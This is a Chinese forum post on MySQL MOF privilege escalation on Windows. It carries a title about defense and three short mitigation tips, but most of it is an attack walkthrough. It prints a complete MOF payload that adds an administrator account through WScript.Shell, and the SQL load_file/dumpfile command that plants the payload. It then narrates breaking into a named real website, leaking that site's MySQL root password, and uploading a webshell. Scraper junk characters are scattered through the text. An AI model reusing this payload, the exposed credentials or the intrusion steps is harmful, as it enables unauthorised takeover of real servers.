Mysql mof扩展漏洞防范方法
0 {7 k; G |9 L! D8 p" X1 X( p. A& I- `2 Y) A0 g8 G p3 v
网上公开的一些利用代码:
* i; V3 U; W# \% r
6 F v% z. h5 E4 L#pragma namespace(“\\\\.\\root\\subscription”)
2 ^' @" s7 H2 q' W9 r. G$ u" S# l
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };" m4 U, ?, M1 ~ U0 a
2 X# j; H# k G, m4 V
) q: v d2 p' K2 k0 {$ p) E3 a* H+ t: s. R1 h8 n, r: e
" k; m" x( H! e" ^+ K8 y
. B/ O5 {7 y2 J6 ]连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
6 k4 t1 w0 J/ g6 ^# t8 O从上面代码来看得出解决办法:
' T j- _ H3 V' p) t4 k0 N! M5 Z/ O8 g/ q. k& c
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数# s6 j+ ~( e# _8 z R+ d8 d7 X: s
4 b, t0 O% T `0 |4 \: P- f2、禁止使用”WScript.Shel”组件; G1 A/ S6 i) v i2 V
" W% Q$ s% [8 b0 V5 o3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER; l. j0 p& A1 g$ ^, s6 b
# K% a/ v: k: w: c& H. A
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下) V8 u1 v* s$ [/ r9 U$ n/ q5 ~$ s
* \ M1 G4 I/ ~$ O: l% d
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权" F4 v/ S. Z/ Z* T2 e
, M; X% s! D4 j3 m/ d
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
2 b: j, N' }/ V- v
) `0 W# A; j1 V; V3 D: ?看懂了后就开始练手吧9 Q P4 e' i" C/ v9 s0 y
/ Q% y S' m6 }5 `# ?. y
http://www.webbmw.com/config/config_ucenter.php 一句话 a
; O3 m- D2 P- Z! i, T8 v6 n$ B9 p7 j6 X2 S: T% p
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。+ S: b' _4 p5 i0 \( m% B
+ j+ Z! V$ \) a4 q- Q$ ]% W
于是直接用菜刀开搞9 B+ P7 }; A% x7 f% q
A% V. L N' A3 Y$ `! t
上马先: O/ c1 c; P$ K( N! o7 U0 H
0 c2 w$ `) m& M- [' S既然有了那些账号 之类的 于是我们就执行吧…….
: z d; v$ v' h/ k6 z" Q$ t2 C0 {8 j/ ~
小小的说下% I3 D; C# K! p: O: r6 N( `0 g, |
# O) S) U2 m/ L- b) G/ ~/ ?# u在这里第1次执行未成功 原因未知, @0 w$ r4 T. u
. }* b" m% C `- p9 ^我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
$ A/ g/ J: i- Y6 Q' I3 @8 K: }1 b: G2 V1 Q) k7 ?% F" T
#pragma namespace(“\\\\.\\root\\subscription”)4 p5 O9 Z, ^0 _
. H% F( \7 E1 i. q7 T3 R
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
: F4 f; k: a, K7 U l5 |
, W2 Q9 p4 |5 p1 A6 h) U4 q# N4 F我是将文件放到C:\WINDOWS\temp\1.mof
" K/ Z, h: H, \5 r0 M( o: d6 k+ |. {/ z8 U
所以我们就改下执行的代码
8 f" D8 W" q5 D- r* b6 f3 @
% \* o5 V5 |: Z( Qselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
- B$ g& H8 C* D% g! }
# a7 Q0 j' o0 ]) s9 n% `* `. [4 Z, m/ u+ a" f9 D7 x# \& @) m
3 k6 L/ |% h7 C: {$ u8 P/ k/ ^8 n
但是 你会发现账号还是没有躺在那里。。# V2 F' s$ o" u7 k3 ]! q4 _
, ]9 R( M% i: o; a9 ]. r8 l于是我就感觉蛋疼
9 s" @9 V; `4 l9 \( d
' }9 [3 J( E: f# J就去一个一个去执行 但是执行到第2个 mysql时就成功了………9 n0 K2 J7 a- X+ G; B7 e6 U( N- a& F
* ]- r! @' k: A; d7 ?# j# ^, z! Q( U+ y. P7 Y% Y( q( {. z
8 U7 F" y4 P8 @/ n2 |6 b
但是其他库均不成功…
3 k7 z3 ^+ G# i0 Q& j5 ~" Z0 }- i& J- W7 Z( P1 M
我就很费解呀 到底为什么不成功求大牛解答…3 |1 r! q( G& d& w% H4 f% \
! p6 f$ z" x! `6 v1 t: \8 `9 ?' _ p$ P+ b' |- ]" v
! c2 \2 ^/ D" i6 j1 Q/ ~# g |